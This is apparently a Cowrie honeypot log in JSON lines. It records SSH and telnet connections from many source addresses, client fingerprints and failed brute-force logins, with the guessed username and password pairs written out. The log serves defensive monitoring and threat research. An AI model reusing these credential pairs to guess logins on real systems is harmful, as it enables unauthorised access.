{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:21.869437Z","src_ip":"60.199.224.2","session":"8fba5c69d0bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":40916,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8486bceea06","protocol":"ssh","message":"New connection: 185.196.10.253:40916 (159.203.135.109:22) [session: b8486bceea06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:33.462265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:33.466386Z","src_ip":"185.196.10.253","session":"b8486bceea06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:33.575256Z","src_ip":"185.196.10.253","session":"b8486bceea06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uno85","password":"uno851234","message":"login attempt [uno85/uno851234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:34.044672Z","src_ip":"185.196.10.253","session":"b8486bceea06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:35.156738Z","src_ip":"185.196.10.253","session":"b8486bceea06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.216.132.12","src_port":59332,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fae73319952","protocol":"telnet","message":"New connection: 190.216.132.12:59332 (10.17.0.5:23) [session: 6fae73319952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:37.713221Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":19666,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcddb78291a6","protocol":"ssh","message":"New connection: 201.245.201.162:19666 (159.203.135.109:22) [session: dcddb78291a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:49.735061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:49.738971Z","src_ip":"201.245.201.162","session":"dcddb78291a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:49.823654Z","src_ip":"201.245.201.162","session":"dcddb78291a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travis","password":"Travis123","message":"login attempt [travis/Travis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:50.193991Z","src_ip":"201.245.201.162","session":"dcddb78291a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.988835334777832,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:50.701907Z","src_ip":"190.216.132.12","session":"6fae73319952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:51.281520Z","src_ip":"201.245.201.162","session":"dcddb78291a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":52849,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb6cce4718e","protocol":"telnet","message":"New connection: 49.88.156.34:52849 (10.17.0.5:23) [session: feb6cce4718e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:10.509227Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":40346,"dst_ip":"159.203.135.109","dst_port":22,"session":"826c0d63d891","protocol":"ssh","message":"New connection: 103.52.152.101:40346 (159.203.135.109:22) [session: 826c0d63d891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:25.086424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:25.091150Z","src_ip":"103.52.152.101","session":"826c0d63d891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:25.298878Z","src_ip":"103.52.152.101","session":"826c0d63d891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59010,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac89caf1631c","protocol":"ssh","message":"New connection: 162.120.6.20:59010 (10.17.0.5:22) [session: ac89caf1631c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:25.584785Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:25.656723Z","src_ip":"162.120.6.20","session":"ac89caf1631c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59014,"dst_ip":"10.17.0.5","dst_port":22,"session":"588cbf75cd16","protocol":"ssh","message":"New connection: 162.120.6.20:59014 (10.17.0.5:22) [session: 588cbf75cd16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:25.723140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:25.727355Z","src_ip":"162.120.6.20","session":"588cbf75cd16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:25.796794Z","src_ip":"162.120.6.20","session":"588cbf75cd16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jiahaoyang","password":"jiahaoyang","message":"login attempt [jiahaoyang/jiahaoyang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:26.005175Z","src_ip":"162.120.6.20","session":"588cbf75cd16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wordpress","password":"wordpress","message":"login attempt [wordpress/wordpress] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:26.155568Z","src_ip":"103.52.152.101","session":"826c0d63d891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:27.075851Z","src_ip":"162.120.6.20","session":"588cbf75cd16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:27.363992Z","src_ip":"103.52.152.101","session":"826c0d63d891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59580,"dst_ip":"159.203.135.109","dst_port":22,"session":"39743489eb59","protocol":"ssh","message":"New connection: 195.178.110.218:59580 (159.203.135.109:22) [session: 39743489eb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:39.381145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:39.384640Z","src_ip":"195.178.110.218","session":"39743489eb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:39.464611Z","src_ip":"195.178.110.218","session":"39743489eb59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:39.703260Z","src_ip":"195.178.110.218","session":"39743489eb59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:40.784216Z","src_ip":"195.178.110.218","session":"39743489eb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":39344,"dst_ip":"159.203.135.109","dst_port":22,"session":"09dbcb31deca","protocol":"ssh","message":"New connection: 34.85.163.94:39344 (159.203.135.109:22) [session: 09dbcb31deca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:47.059712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:47.064275Z","src_ip":"34.85.163.94","session":"09dbcb31deca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:47.074879Z","src_ip":"34.85.163.94","session":"09dbcb31deca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moon","password":"moonpassword","message":"login attempt [moon/moonpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:47.319739Z","src_ip":"34.85.163.94","session":"09dbcb31deca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:48.333124Z","src_ip":"34.85.163.94","session":"09dbcb31deca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":35852,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e380c91f4d4","protocol":"ssh","message":"New connection: 20.26.135.100:35852 (159.203.135.109:22) [session: 9e380c91f4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:52.365703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:52.369236Z","src_ip":"20.26.135.100","session":"9e380c91f4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:52.458650Z","src_ip":"20.26.135.100","session":"9e380c91f4d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sabrina","password":"password","message":"login attempt [sabrina/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:52.840416Z","src_ip":"20.26.135.100","session":"9e380c91f4d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":45572,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfe2c166a8b6","protocol":"ssh","message":"New connection: 2.57.122.210:45572 (159.203.135.109:22) [session: bfe2c166a8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:53.306050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:53.398176Z","src_ip":"2.57.122.210","session":"bfe2c166a8b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:53.406817Z","src_ip":"2.57.122.210","session":"bfe2c166a8b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"validator","message":"login attempt [sol/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:53.805186Z","src_ip":"2.57.122.210","session":"bfe2c166a8b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:53.927984Z","src_ip":"20.26.135.100","session":"9e380c91f4d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:51:54.906043Z","src_ip":"2.57.122.210","session":"bfe2c166a8b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":39992,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f370bc4d471","protocol":"ssh","message":"New connection: 80.94.95.118:39992 (10.17.0.5:22) [session: 3f370bc4d471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:15.254514Z"}
